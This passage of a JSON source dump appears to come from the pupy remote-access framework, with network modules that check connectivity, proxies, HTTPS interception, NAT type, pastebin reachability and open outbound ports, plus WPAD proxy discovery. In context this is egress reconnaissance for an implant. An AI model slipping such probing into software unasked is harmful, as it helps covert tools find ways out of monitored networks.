NTP.STRATUM_TABLE:\n        return NTP.STRATUM_TABLE[stratum] % (stratum)\n    elif 1 < stratum < 16:\n        return \"secondary reference (%s)\" % (stratum)\n    elif stratum == 16:\n        return \"unsynchronized (%s)\" % (stratum)\n    else:\n        raise NTPException(\"Invalid stratum or reserved.\")\n\n\ndef ref_id_to_text(ref_id, stratum=2):\n    \"\"\"Convert a reference clock identifier to text according to its stratum.\n\n    Parameters:\n    ref_id  -- reference clock indentifier\n    stratum -- NTP stratum\n\n    Returns:\n    corresponding message\n\n    Raises:\n    NTPException -- in case of invalid stratum\n    \"\"\"\n    fields = (ref_id >> 24 & 0xff, ref_id >> 16 & 0xff,\n              ref_id >> 8 & 0xff, ref_id & 0xff)\n\n    # return the result as a string or dot-formatted IP address\n    if 0 <= stratum <= 1:\n        text = '%c%c%c%c' % fields\n        if text in NTP.REF_ID_TABLE:\n            return NTP.REF_ID_TABLE[text]\n        else:\n            return \"Unidentified reference source '%s'\" % (text)\n    elif 2 <= stratum < 255:\n        return '%d.%d.%d.%d' % fields\n    else:\n        raise NTPException(\"Invalid stratum.\")\n"
  },
  {
    "path": "pupy/network/lib/online.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'check_transparent_proxy',\n    'internal_ip',\n    'external_ip',\n    'external_headers',\n    'online',\n    'ntp_time_diff',\n    'check',\n    'bits_to_dict',\n    'PortQuiz',\n)\n\nimport sys\nimport socket\nimport time\nimport threading\nimport random\nimport netaddr\nimport struct\nimport json\n\nif sys.version_info.major > 2:\n    from urllib.request import (\n        OpenerDirector, HTTPHandler, Request\n    )\nelse:\n    from urllib2 import (\n        OpenerDirector, HTTPHandler, Request\n    )\n\nfrom . import tinyhttp\nfrom . import scan\nfrom . import igd\nfrom . import getLogger\nfrom . import stun\nfrom . import ntplib\n\nlogger = getLogger('online')\n\n\nONLINE_STATUS = None\nONLINE_STATUS_CHECKED = None\n\nONLINE_CAPTIVE      = 1 << 0\nONLINE_MS           = 1 << 1\nONLINE              = ONLINE_MS | ONLINE_CAPTIVE\nHOTSPOT             = 1 << 2\nDNS                 = 1 << 3\nDIRECT_DNS          = 1 << 4\nHTTP                = 1 << 5\nHTTPS               = 1 << 6\nHTTPS_NOCERT        = 1 << 7\nHTTPS_MITM          = 1 << 8\nPROXY               = 1 << 9\nTRANSPARENT         = 1 << 10\nIGD                 = 1 << 11\n\nPASTEBIN            = 1 << 12\nHASTEBIN            = 1 << 13\nIXIO                = 1 << 14\nDPASTE              = 1 << 15\nVPASTE              = 1 << 16\nPASTEOPENSTACK      = 1 << 17\nGHOSTBIN            = 1 << 18\nPHPASTE             = 1 << 19\nFRIENDPASTE         = 1 << 20\nLPASTE              = 1 << 21\n\nSTUN_NAT_VALUE      = 7 << 22\nSTUN_NAT_BLOCKED    = 0 << 22\nSTUN_NAT_OPEN       = 1 << 22\nSTUN_NAT_CLONE      = 2 << 22\nSTUN_NAT_UDP_FW     = 3 << 22\nSTUN_NAT_RESTRICT   = 4 << 22\nSTUN_NAT_PORT       = 5 << 22\nSTUN_NAT_SYMMETRIC  = 6 << 22\nSTUN_NAT_ERROR      = 7 << 22\n\nNTP                 = 1 << 25\n\nSTUN_NAT_DESCRIPTION = {\n    STUN_NAT_BLOCKED:   stun.Blocked,\n    STUN_NAT_OPEN:      stun.OpenInternet,\n    STUN_NAT_CLONE:     stun.FullCone,\n    STUN_NAT_UDP_FW:    stun.SymmetricUDPFirewall,\n    STUN_NAT_RESTRICT:  stun.RestricNAT,\n    STUN_NAT_PORT:      stun.RestricPortNAT,\n    STUN_NAT_SYMMETRIC: stun.SymmetricNAT,\n    STUN_NAT_ERROR:     stun.ChangedAddressError,\n}\n\nNTP_SERVER = 'pool.ntp.org'\n\nSTUN_HOST = 'stun.l.google.com'\nSTUN_PORT = 19302\nSTUN_HOST_BROKEN = False\n\n# Don't want to import large (200k - 1Mb) dnslib/python dns just for that..\nOPENDNS_REQUEST = b'\\xe4\\x9a\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x04' \\\n                  b'myip\\x07opendns\\x03com\\x00\\x00\\x01\\x00\\x01'\nOPENDNS_RESPONSE = b'\\xe4\\x9a\\x81\\x80\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x04' \\\n                   b'myip\\x07opendns\\x03com\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00' \\\n                   b'\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x04'\nOPENDNS_BROKEN = False\n\nPASTEBINS = {\n    'https://pastebin.com': PASTEBIN,\n    'https://hastebin.com': HASTEBIN,\n    'http://ix.io': IXIO,\n    'http://dpaste.com': DPASTE,\n    'http://vpaste.net': VPASTE,\n    'https://lpaste.net': LPASTE,\n    'http://paste.openstack.org': PASTEOPENSTACK,\n    'https://ghostbin.com': GHOSTBIN,\n    'https://phpaste.sourceforge.io': PHPASTE,\n    'https://friendpaste.com': FRIENDPASTE\n}\n\nCHECKS = {\n    'msonline': {\n        'url': 'http://www.msftncsi.com/ncsi.txt',\n        'text': 'Microsoft NCSI',\n    },\n\n    'http': {\n        'url': 'http://lame.sourceforge.net/license.txt',\n        'text': 'Can I use LAME in my commercial program?',\n    },\n    'https': {\n        'url': 'https://www.apache.org/licenses/LICENSE-2.0',\n        'text': 'APPENDIX: How to apply the Apache License to your work.',\n        'ca': 'MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci/ITeIjANBgkqhkiG9w0BAQwFADBv'\n              'MQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFk'\n              'ZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBF'\n              'eHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFow'\n              'gYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO'\n              'BgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYD'\n              'VQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkq'\n              'hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNw'\n              'AHG8U9/E+ioSj0t/EFa9n3Byt2F/yUsPF6c947AEYe7/EZfH9IY+Cvo+XPmT5jR6'\n              '2RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onr'\n              'ayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt'\n              '4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIq'\n              'm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g/'\n              'vOldxJuvRZnio1oktLqpVj3Pb6r/SVi+8Kj/9Lit6Tf7urj0Czr56ENCHonYhMsT'\n              '8dm74YlguIwoVqwUHZwK53Hrzw7dPamWoUi9PPevtQ0iTMARgexWO/bTouJbt7IE'\n              'IlKVgJNp6I5MZfGRAy1wdALqi2cVKWlSArvX31BqVUa/oKMoYX9w0MOiqiwhqkfO'\n              'KJwGRXa/ghgntNWutMtQ5mv0TIZxMOmm3xaG4Nj/QN370EKIf6MzOi5cHkERgWPO'\n              'GHFrK+ymircxXDpqR+DDeVnWIBqv8mqYqnK8V0rSS527EPywTEHl7R09XiidnMy/'\n              's1Hap0flhFMCAwEAAaOB9DCB8TAfBgNVHSMEGDAWgBStvZh6NLQm9/rEJlTvA73g'\n              'JMtUGjAdBgNVHQ4EFgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQD'\n              'AgGGMA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0gBAowCDAGBgRVHSAAMEQGA1UdHwQ9'\n              'MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVy'\n              'bmFsQ0FSb290LmNybDA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6'\n              'Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS/g/FfmoXQ'\n              'zbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfj'\n              'Jw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLY'\n              'Uspzgb8c8+a4bmYRBbMelC1/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5'\n              'B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI/V5eu+MtWuLt29G9Hvx'\n              'PUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vR'\n              'pu/xO28QOG8='\n    },\n}\n\nCAPTIVE_URLS = [\n    'http://connectivitycheck.gstatic.com/generate_204',\n    'http://clients3.google.com/generate_204',\n]\n\nKNOWN_DNS = {\n    'quad9.net': '216.21.3.77',\n    'dns.msftncsi.com': '131.107.255.255'\n}\n\n\nIP_KNOWN_TO_BE_DOWN='1.2.3.4'\n\nOWN_IP = [\n    'ifconfig.co',\n    'ifconfig.me/ip',\n    'eth0.me',\n    'ipecho.net/plain',\n    'icanhazip.com',\n    'curlmyip.com',\n    'l2.io/ip'\n]\n\nOWN_IP_BROKEN = set()\n\nLAST_EXTERNAL_IP = None\nLAST_EXTERNAL_IP_TIME = None\n\n\ndef check_transparent_proxy():\n    logger.debug('Check for transparent proxy')\n\n    try:\n        s = socket.create_connection((IP_KNOWN_TO_BE_DOWN, 80), timeout=5)\n        s.settimeout(5)\n        s.send('GET / HTTP/3.0\\r\\n\\r\\n')\n        data = s.recv(12)\n        if data.startswith('HTTP'):\n            return True\n\n    except Exception as e:\n        logger.debug('Check transparent proxy: %s', e)\n\n    return False\n\ndef internal_ip(check='8.8.8.8'):\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try:\n        s.connect((check, 123))\n        ip = s.getsockname()[0]\n        return netaddr.IPAddress(ip)\n\n    except socket.error:\n        pass\n\n    finally:\n        s.close()\n\ndef external_ip(force_ipv4=False):\n    global LAST_EXTERNAL_IP, LAST_EXTERNAL_IP_TIME\n    global STUN_HOST_BROKEN, OWN_IP_BROKEN, OPENDNS_BROKEN\n\n    if LAST_EXTERNAL_IP_TIME is not None:\n        if time.time() - LAST_EXTERNAL_IP_TIME < 3600:\n            logger.debug('Return cached IP (last ts=%d): %s',\n                LAST_EXTERNAL_IP_TIME, LAST_EXTERNAL_IP)\n            return LAST_EXTERNAL_IP\n\n    logger.debug('Retrieve IP using external services')\n\n    if all(ip in OWN_IP_BROKEN for ip in OWN_IP):\n        # Try once again\n        OWN_IP_BROKEN.clear()\n        STUN_HOST_BROKEN = False\n        OPENDNS_BROKEN = False\n\n    try:\n        if not STUN_HOST_BROKEN:\n            stun_ip = stun.get_ip(stun_host=STUN_HOST, stun_port=STUN_PORT)\n            if stun_ip is not None:\n                stun_ip = netaddr.IPAddress(stun_ip)\n\n                LAST_EXTERNAL_IP = stun_ip\n                LAST_EXTERNAL_IP_TIME = time.time()\n\n                return LAST_EXTERNAL_IP\n\n    except Exception as e:\n        STUN_HOST_BROKEN = True\n        logger.debug('external_ip: STUN failed: %s', e)\n\n    ctx = tinyhttp.HTTP(timeout=5, headers={'User-Agent': 'curl/7.12.3'})\n\n    for service in OWN_IP:\n        if service in OWN_IP_BROKEN:\n            continue\n\n        for scheme in ['https', 'http']:\n            try:\n                data, code = ctx.get(scheme + '://' + service, code=True)\n                if code == 200:\n                    addr = netaddr.IPAddress(data.strip())\n                    if force_ipv4 and addr.version == 6:\n                        continue\n\n                    LAST_EXTERNAL_IP = addr\n                    LAST_EXTERNAL_IP_TIME = time.time()\n\n                    return LAST_EXTERNAL_IP\n\n            except Exception as e:\n                logger.debug('Get IP service failed: %s: %s (%s)', service, e, type(e))\n                OWN_IP_BROKEN.add(service)\n\n    LAST_EXTERNAL_IP = dns_external_ip()\n    if LAST_EXTERNAL_IP:\n        LAST_EXTERNAL_IP_TIME = time.time()\n\n    return LAST_EXTERNAL_IP\n\ndef dns_external_ip():\n    global OPENDNS_BROKEN\n\n    if OPENDNS_BROKEN:\n        return None\n\n    logger.debug('Retrieve IP using DNS')\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\n    try:\n        s.settimeout(5)\n        s.sendto(OPENDNS_REQUEST, ('resolver1.opendns.com', 53))\n        data = s.recv(256)\n        if data.startswith(OPENDNS_RESPONSE):\n            return netaddr.IPAddress(struct.unpack('>I', data[-4:])[0])\n\n    except Exception as e:\n        logger.debug('DNS External IP failed: %s', e)\n        OPENDNS_BROKEN = True\n\n    return None\n\ndef external_headers():\n    logger.debug('Retrieve external headers')\n\n    try:\n        ctx = tinyhttp.HTTP(timeout=15, headers={'User-Agent': 'curl/7.12.3'})\n\n        data = ctx.get('http://httpbin.org/headers')\n        data = json.loads(data)\n        return data['headers']\n\n    except Exception as e:\n        logger.debug('External headers failed: %s', e)\n\n    return {}\n\ndef online():\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'\n    }\n    ctx = tinyhttp.HTTP(timeout=5, headers=headers)\n\n    try:\n        data = ctx.get(CHECKS['msonline']['url'])\n        if data == CHECKS['msonline']['text']:\n            return True\n\n    except Exception as e:\n        logger.debug('MS Online check failed: %s', e)\n\n    return False\n\ndef ntp_time_diff():\n    client = ntplib.NTPClient()\n    response = client.request(NTP_SERVER, version=3)\n    return int(response.offset * 1000000)\n\ndef check():\n    global ONLINE_STATUS_CHECKED\n    global ONLINE_STATUS\n\n    if ONLINE_STATUS_CHECKED is not None:\n        if time.time() - ONLINE_STATUS_CHECKED < 3600:\n            return ONLINE_STATUS\n\n    logger.debug('Online check started')\n\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'\n    }\n    ctx = tinyhttp.HTTP(proxy=True, noverify=False, timeout=15, headers=headers)\n    ctx_nocert = tinyhttp.HTTP(proxy=True, timeout=15, noverify=True, headers=headers)\n    ctx_noproxy = tinyhttp.HTTP(proxy=False, timeout=15, headers=headers)\n    ctx_mitm = tinyhttp.HTTP(\n        proxy=True, noverify=False, timeout=15,\n        cadata=CHECKS['https']['ca'].decode('base64'), headers=headers)\n\n    result = 0\n\n    mintime = None\n    offset = 0\n    ok = 0\n\n    now = time.time()\n\n    for url in CAPTIVE_URLS:\n        try:\n            data, code = ctx.get(url, code=True)\n            t = time.time()\n            if mintime is None or mintime > t - now:\n                mintime = t - now\n\n            now = t\n\n            if data == '' and code == 204:\n                ok += 1\n\n            if code == 302:\n                result |= HOTSPOT\n\n        except Exception as e:\n            logger.debug('Captive check failed %s: %s', url, e)\n\n    if ok == 2:\n        result |= ONLINE_CAPTIVE\n\n    try:\n        data = ctx.get(CHECKS['msonline']['url'])\n        t = time.time()\n        if mintime is None or mintime > t - now:\n            mintime = t - now\n\n        now = t\n\n        if data == CHECKS['msonline']['text']:\n            result |= ONLINE_MS\n\n    except Exception as e:\n        logger.debug('MS Online check failed: %s', e)\n\n    if result & ONLINE_CAPTIVE:\n        for url in CAPTIVE_URLS:\n            try:\n                data, code = ctx_noproxy.get(url, code=True)\n                if not (data == '' and code == 204) and ok:\n                    result |= PROXY\n                    break\n\n            except Exception as e:\n                result |= PROXY\n                logger.debug('Captive check failed %s: %s', url, e)\n\n    try:\n        data = ctx.get(CHECKS['http']['url'])\n        if CHECKS['http']['text'] in data:\n            result |= HTTP\n\n    except Exception as e:\n        logger.debug('HTTP Check failed: %s', e)\n\n    try:\n        data = ctx.get(CHECKS['https']['url'])\n        if CHECKS['https']['text'] in data:\n            result |= HTTPS\n\n    except Exception as e:\n        logger.debug('HTTPS Check failed: %s', e)\n\n    try:\n        data = ctx_mitm.get(CHECKS['https']['url'])\n        if result | HTTPS and CHECKS['https']['text'] not in data:\n            result |= HTTPS_MITM\n\n    except Exception as e:\n        logger.debug('HTTPS Mitm Check failed: %s', e)\n        result |= HTTPS_MITM\n\n    try:\n        data = ctx_nocert.get(CHECKS['https']['url'])\n        if CHECKS['https']['text'] in data:\n            result |= HTTPS_NOCERT\n            result |= HTTPS\n\n    except Exception as e:\n        logger.debug('HTTPS NoCert Check failed: %s', e)\n\n    for hostname, ip in KNOWN_DNS.items():\n        try:\n            if ip == socket.gethostbyname(hostname):\n                result |= DNS\n\n        except Exception as e:\n            logger.debug('DNS Check failed: %s', e)\n\n    for pastebin, bit in PASTEBINS.items():\n        try:\n            data, code = ctx_nocert.get(\n                pastebin,\n                code=True, headers={'User-Agent': 'curl'}\n            )\n            if code == 200:\n                result |= bit\n\n        except Exception as e:\n            logger.debug('Pastebin Check failed %s: %s', pastebin, e)\n\n    if check_transparent_proxy():\n        result |= TRANSPARENT | PROXY\n    else:\n        headers = external_headers()\n        for header in headers:\n            if 'via' in header.lower():\n                result |= PROXY\n                break\n\n    deip = dns_external_ip()\n    if deip:\n        result |= DIRECT_DNS\n\n    try:\n        nat, _, _ = stun.get_ip_info()\n        for bit, descr in STUN_NAT_DESCRIPTION.items():\n            if descr == nat:\n                result |= bit\n                break\n\n    except Exception as e:\n        logger.debug('STUN Checks failed: %s', e)\n        result |= STUN_NAT_BLOCKED\n\n    try:\n        offset = ntp_time_diff()\n        result |= NTP\n        if offset > 32767:\n            offset = 32767\n        elif offset < -32768:\n            offset = -32768\n\n    except Exception as e:\n        logger.debug('NTP Checks failed: %s', e)\n        offset = 0\n\n    if sys.platform != 'win32':\n        # This may cause firewall window\n        # TODO: Work around this with pressing enter using keyboard module\n        try:\n            igdc = igd.IGDClient()\n            if igdc.available:\n                result |= IGD\n\n        except Exception as e:\n            logger.debug('IGD Check failed: %s', e)\n\n    if mintime is None:\n        mintime = 0\n    else:\n        mintime = int(mintime * 1000)\n        if mintime > 65535:\n            mintime = 65535\n\n    ONLINE_STATUS = (offset, mintime, result)\n    ONLINE_STATUS_CHECKED = time.time()\n\n    logger.debug('Online check completed')\n    return ONLINE_STATUS\n\ndef bits_to_dict(data):\n    return {\n        'online': bool(data & ONLINE),\n        'online-by': {\n            'android': bool(data & ONLINE_CAPTIVE),\n            'microsoft': bool(data & ONLINE_MS),\n        },\n        'igd': bool(data & IGD),\n        'hotspot': bool(data & HOTSPOT),\n        'dns': bool(data & DNS),\n        'direct-dns': bool(data & DIRECT_DNS),\n        'http': bool(data & HTTP),\n        'https': bool(data & HTTPS),\n        'https-no-cert': bool(data & HTTPS_NOCERT),\n        'https-mitm': bool(data & HTTPS_MITM),\n        'proxy': bool(data & PROXY),\n        'transparent-proxy': bool(data & TRANSPARENT),\n        'stun': [\n            descr for value,descr in STUN_NAT_DESCRIPTION.items() if (\n                (data & STUN_NAT_VALUE) == value\n            )\n        ][0],\n        'ntp': bool(data & NTP),\n        'pastebins': {\n            pastebin:bool(data & bit) for pastebin,bit in PASTEBINS.items()\n        }\n    }\n\nclass PortQuiz(threading.Thread):\n\n    PORTQUIZ_ADDR='5.196.70.86'\n    PORTQUIZ_HOSTNAME='portquiz.net'\n    PORTQUIZ_443_MESSAGE='Your browser sent a request that this server could not understand'\n    PORTQUIZ_MESSAGE='test successful!'\n\n    __slots__ = (\n        'table', 'lock', 'abort', 'amount',\n        'opener', 'http_timeout',\n        'connect_timeout', 'available',\n        'hostname', 'ip'\n    )\n\n    def __init__(self, amount=5, http_timeout=15, connect_timeout=10, portquiz=None):\n        threading.Thread.__init__(self)\n        self.daemon = True\n\n        self.table = {}\n        self.lock = threading.Lock()\n        self.abort = threading.Event()\n        self.amount = 8\n        self.opener = OpenerDirector()\n        self.opener.handlers = []\n        self.opener.add_handler(tinyhttp.NullHandler(self.table, self.lock))\n        self.opener.add_handler(HTTPHandler())\n        self.http_timeout = http_timeout\n        self.connect_timeout = connect_timeout\n        self.available = list()\n\n        if portquiz is not None:\n            self.hostname = portquiz\n            self.ip = socket.gethostbyname(portquiz)\n        else:\n            self.hostname = self.PORTQUIZ_HOSTNAME\n            try:\n                self.ip = socket.gethostbyname(self.PORTQUIZ_HOSTNAME)\n            except socket.gaierror:\n                self.ip = self.PORTQUIZ_ADDR\n\n    def _on_open_port(self, info):\n        host, port, sock = info\n\n        logger.debug('Check: %s:%d', host, port)\n\n        try:\n            with self.lock:\n                self.table['{}:{}'.format(host,port)] = sock\n                sock.setblocking(1)\n                sock.settimeout(self.http_timeout)\n\n\n            url = Request(\n                'http://{}:{}'.format(host, port),\n                headers={\n                    'Host': self.hostname,\n                    'User-Agent': 'curl',\n                })\n\n            response = self.opener.open(url, timeout=self.http_timeout)\n            data = response.read()\n            if self.PORTQUIZ_MESSAGE in data \\\n              or (port == 443 and self.PORTQUIZ_443_MESSAGE in data):\n                self.available.append(port)\n                if len(self.available) >= self.amount:\n                    self.abort.set()\n            else:\n                logger.debug('Invalid response, port %d: %s', port, repr(data))\n\n        except Exception as e:\n            logger.exception('port check: %s:%s: %s', host, port, e)\n\n        finally:\n            try:\n                sock.close()\n            except:\n                pass\n\n    def _run(self):\n        most_important = [\n            80, 443, 8080, 53, 5222, 25, 110, 465\n        ]\n\n        logger.debug('Scan most important. IP: %s', self.ip)\n\n        scan.scan([self.ip], most_important, timeout=self.connect_timeout, abort=self.abort,\n             on_open_port=self._on_open_port, pass_socket=True)\n\n        logger.debug('Scan other ports')\n\n        if len(self.available) < self.amount:\n            other = list([\n                x for x in scan.TOP1000 if x not in most_important\n            ])\n\n            random.shuffle(other)\n\n            scan.scan(\n                [self.ip], other, timeout=self.connect_timeout, abort=self.abort,\n                on_open_port=self._on_open_port, pass_socket=True)\n\n        logger.debug('Done. Found %d ports', len(self.available))\n\n    def run(self):\n        try:\n            logger.debug('PortQuiz: started')\n            self._run()\n            logger.debug('PortQuiz: completed (available %d ports)', len(self.available))\n\n        except Exception as e:\n            logger.exception('PortQuiz: %s', e)\n"
  },
  {
    "path": "pupy/network/lib/pac.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'get_proxy_for_address', 'set_proxy_unavailable',\n    'refresh_pac_player'\n)\n\nfrom sys import getfilesystemencoding, version_info\nfrom dukpy import JSInterpreter, JSRuntimeError\n\nif version_info.major > 2:\n    from urllib.parse import urlparse\n    from urllib.error import URLError\n\n    basestring = str\n    xrange = range\nelse:\n    from urlparse import urlparse\n    from urllib2 import URLError\n\nfrom socket import gethostbyname, gaierror, getfqdn\nfrom netaddr import IPAddress, IPNetwork, AddrFormatError\nfrom inspect import getmembers, ismethod\n\nfrom io import open\nfrom os import name as os_name\nfrom time import time\nfrom re import match\nfrom threading import Lock\n\ntry:\n    from pupyimporter import dprint\nexcept ImportError:\n    def dprint(x):\n        pass\n\nif os_name == 'nt':\n    from ctypes import WinDLL, byref, POINTER, c_void_p, cast\n    from ctypes.wintypes import LPWSTR, BOOL, DWORD\n\n    try:\n        winhttp = WinDLL('winhttp.dll', use_last_error=True)\n        kernel32 = WinDLL('kernel32.dll', use_last_error=True)\n\n        WinHttpDetectAutoProxyConfigUrl = winhttp.WinHttpDetectAutoProxyConfigUrl\n        WinHttpDetectAutoProxyConfigUrl.restype = BOOL\n        WinHttpDetectAutoProxyConfigUrl.argtypes = (\n            DWORD, POINTER(c_void_p)\n        )\n\n        GlobalFree = kernel32.GlobalFree\n        GlobalFree.argtypes = (c_void_p,)\n    except:\n        WinHttpDetectAutoProxyConfigUrl = None\n\n\nfrom . import Proxy\nfrom . import getLogger\n\n\ndef _init_process_omit(self):\n    pass\n\n\n# We don't need to have environment in JSInterpreter\nJSInterpreter._init_process = _init_process_omit\n\n\nlogger = getLogger('pac')\n\nPAC_PLAYER = None\nPAC_PLAYER_LAST_UPDATED = None\n\n# It turns out that dukpy is not thread-safe\n# https://github.com/amol-/dukpy/issues/18\n\nPAC_PLAYER_LOCK = Lock()\n\nWPAD_REFRESH_TIMEOUT = 3600\n\n\ndef get_autoconfig_url_nt():\n    try:\n        from _winreg import OpenKey, QueryValueEx, HKEY_CURRENT_USER\n    except ImportError:\n        return\n\n    try:\n        with OpenKey(\n            HKEY_CURRENT_USER,\n            'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings') as key:\n            value, _ = QueryValueEx(key, 'AutoConfigURL')\n            return value\n    except WindowsError:\n        return None\n\n\ndef detect_autoconfig_url_nt():\n    if not WinHttpDetectAutoProxyConfigUrl:\n        return None\n\n    url = c_void_p()\n    if WinHttpDetectAutoProxyConfigUrl(3, byref(url)):\n        if url.value:\n            result = cast(url, LPWSTR).value.encode('idna')\n            GlobalFree(url.value)\n            return result\n\n\ndef propose_pac_domains():\n    local_domain = getfqdn()\n    if not local_domain:\n        return\n\n    if local_domain == 'localhost' or '.' not in local_domain:\n        return\n\n    parts = local_domain.split('.')\n    for i in xrange(len(parts)-1):\n        yield '.'.join(parts[i:])\n\n\ndef propose_pac_location():\n    # TODO: Parse from google chrome/firefox settings\n    if os_name == 'nt':\n        for func in (get_autoconfig_url_nt, detect_autoconfig_url_nt):\n            try:\n                res = func()\n                if res:\n                    yield res\n\n            except Exception as e:\n                logger.exception(e)\n\n    yield 'http://wpad/wpad.dat'\n\n    for domain in propose_pac_domains():\n        yield 'http://wpad.{}/wpad.dat'.format(domain)\n\n\ndef get_pac_content():\n    from .tinyhttp import HTTP\n\n    for url in propose_pac_location():\n        try:\n            parsed = urlparse(url)\n            if parsed.scheme == 'file':\n                return open(url.path).read(), url.path\n\n            http = HTTP(proxy=False, follow_redirects=True, noverify=True)\n            content, code = http.get(url, code=True)\n            if code != 200:\n                logger.debug('WPAD: %s: invalid HTTP status %d', url, code)\n                continue\n\n            if b'FindProxyForURL' not in content:\n                logger.debug('WPAD: %s: invalid content')\n                continue\n\n            return content, url\n\n        except URLError:\n            # Connection failed\n            pass\n\n        except Exception as e:\n            logger.exception('url: %s: %s', url, e)\n\n\ndef _refresh_pac_player():\n    global PAC_PLAYER_LAST_UPDATED\n\n    # Update anyway\n    PAC_PLAYER_LAST_UPDATED = time()\n\n    content = get_pac_content()\n    if not content:\n        return False\n\n    script, source = get_pac_content()\n\n    try:\n        return PACPlayer(script, source)\n    except JSRuntimeError as e:\n        logger.exception('JS: %s', e)\n    except UnicodeError as e:\n        logger.exception(\n            'JS/Unicode: script=%s (%s) source=%s (%s): %s',\n            repr(script), type(script),\n            repr(source), type(source),\n            e\n        )\n\n    return False\n\n\ndef refresh_pac_player():\n    with PAC_PLAYER_LOCK:\n        return _refresh_pac_player()\n\n\ndef _get_proxy_for_address(address):\n    global PAC_PLAYER\n\n    if PAC_PLAYER is None or (\n            time() - PAC_PLAYER_LAST_UPDATED > WPAD_REFRESH_TIMEOUT):\n\n        PAC_PLAYER = _refresh_pac_player()\n\n    if not PAC_PLAYER:\n        return []\n\n    return list(PAC_PLAYER[address])\n\n\ndef get_proxy_for_address(address):\n    with PAC_PLAYER_LOCK:\n        return _get_proxy_for_address(address)\n\n\ndef _set_proxy_unavailable(proto, addr):\n    global PAC_PLAYER\n\n    if not PAC_PLAYER:\n        return\n\n    PAC_PLAYER.unavailable.add(\n        frozenset((proto, addr)))\n\n\ndef set_proxy_unavailable(proto, addr):\n    with PAC_PLAYER_LOCK:\n        _set_proxy_unavailable(proto, addr)\n\n\nclass PACPlayer(object):\n    __slots__ = (\n        'internal_ip', 'js', 'unavailable', 'source',\n        '_lock'\n    )\n\n    def __init__(self, script, source):\n        from .online import internal_ip\n\n        if isinstance(script, bytes):\n            try:\n                script = script.decode(\n                    getfilesystemencoding()\n                )\n            except UnicodeError:\n                script = script.decode('ascii', 'ignore')\n\n        if isinstance(source, bytes):\n            try:\n                source = source.decode(\n                    getfilesystemencoding()\n                )\n            except UnicodeError:\n                source = source.decode('ascii', 'ignore')\n\n        self._lock = Lock()\n        self.js = JSInterpreter()\n        self.unavailable = set()\n        self.source = source\n        self.internal_ip = internal_ip()\n        self._export_functions()\n        self.js.evaljs(script)\n\n    def __getitem__(self, address):\n        url = None\n        host = None\n\n        if '://' in address:\n            url = address\n            host = urlparse(address).hostname\n        else:\n            host = address\n            url = 'tcp://' + address + '/'\n\n        try:\n            with self._lock:\n                proxies = self.js.evaljs(\n                    'FindProxyForURL(dukpy[\"url\"], dukpy[\"host\"])',\n                    url=url, host=host\n                )\n        except JSRuntimeError as e:\n            logger.error('JS: %s', e)\n            return\n\n        if not proxies:\n            return\n\n        for proxy in (x.strip() for x in proxies.split(';')):\n            if not proxy:\n                continue\n\n            elif proxy == 'DIRECT':\n                yield Proxy('DIRECT', None, None, None)\n                continue\n\n            try:\n                proto, addr = proxy.split()\n            except ValueError:\n                logger.info('Invalid proxy spec: %s', proxy)\n                continue\n\n            if proto == 'PROXY':\n                proto = 'HTTP'\n            elif proto == 'SOCKS':\n                proto == 'SOCKS5'\n\n            if frozenset((proto, addr)) not in self.unavailable:\n                yield Proxy(proto, addr, None, None)\n\n    def _export_functions(self):\n        for method, impl in getmembers(self):\n            if method.startswith('_') 